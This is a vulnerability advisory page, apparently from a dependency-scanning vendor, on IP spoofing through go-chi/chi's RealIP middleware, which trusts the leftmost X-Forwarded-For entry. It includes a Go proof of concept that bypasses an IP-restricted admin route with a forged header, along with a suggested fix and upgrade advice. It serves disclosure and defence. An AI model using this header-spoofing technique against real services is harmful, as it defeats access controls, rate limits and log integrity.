Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-3fxj-6jh8-hvhx

chi Has an IP Spoofing Vulnerability in `middleware.RealIP`

Also known asGO-2026-5774
Published
Jun 25, 2026
Updated
Jul 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/go-chi/chi/v5/middleware

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

func realIP(r *http.Request) string {
    // ...
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")
    }
    // ...
}

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main

import (
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/go-chi/chi/v5"
        "github.com/go-chi/chi/v5/middleware"
)

func main() {
        r := chi.NewRouter()

        // Enable the vulnerable RealIP middleware
        r.Use(middleware.RealIP)

        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
        r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
                clientIP := r.RemoteAddr
                fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

                // Simulate IP-based access control
                if clientIP == "1.2.3.4" {
                        w.WriteHeader(http.StatusOK)
                        w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
                } else {
                        w.WriteHeader(http.StatusForbidden)
                        w.Write([]byte("Access Denied: You are not an administrator.\n"))
                }
        })

        // --- Attack Simulation ---
        fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

        // 1. Normal Request (Should be denied)
        req1, _ := http.NewRequest("GET", "/admin/secret", nil)
        rr1 := httptest.NewRecorder()
        r.ServeHTTP(rr1, req1)
        fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

        // 2. Spoofed Request (Using X-Forwarded-For)
        // Attacker claims to be '1.2.3.4'
        req2, _ := http.NewRequest("GET", "/admin/secret", nil)
        req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
        rr2 := httptest.NewRecorder()
        r.ServeHTTP(rr2, req2)
        fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}

Impact

An attacker can masquerade as any IP address. This can lead to:

  • Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
  • Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
  • Log Forgery: Causing incorrect IP addresses to be recorded in security logs.

CWE

  • CWE-290: Authentication Bypass by Spoofing
  • CWE-345: Insufficient Verification of Data Authenticity

CVSS Score

  • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)

Affected Versions

  • github.com/go-chi/chi/v5 <= v5.2.1 (and all previous versions)

Recommendation

  1. Stop using middleware.RealIP if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.
  2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
  3. Use the X-Forwarded-For header by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.

Suggested Fix

A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:

func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
        xff := r.Header.Get("X-Forwarded-For")
        if xff == "" {
                return r.RemoteAddr
        }

        ips := strings.Split(xff, ",")
        // Traverse from right to left
        for i := len(ips) - 1; i >= 0; i-- {
                ipStr := strings.TrimSpace(ips[i])
                ip := net.ParseIP(ipStr)
                if ip == nil {
                        continue
                }

                if !isTrustedProxy(ip, trustedProxies) {
                        return ipStr
                }
        }

        return r.RemoteAddr
}

func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
        for _, network := range trustedProxies {
                if network.Contains(ip) {
                        return true
                }
        }
        return false
}

By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/go-chi/chi/v5/middleware5.2.1&&< 5.3.05.3.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-chi/chi/v5/middleware. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/go-chi/chi/v5/middleware to 5.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3fxj-6jh8-hvhx is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3fxj-6jh8-hvhx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3fxj-6jh8-hvhx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip,
O3 Security · Impact-Aware SCA

Is GHSA-3fxj-6jh8-hvhx in your dependencies?

O3 detects GHSA-3fxj-6jh8-hvhx across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.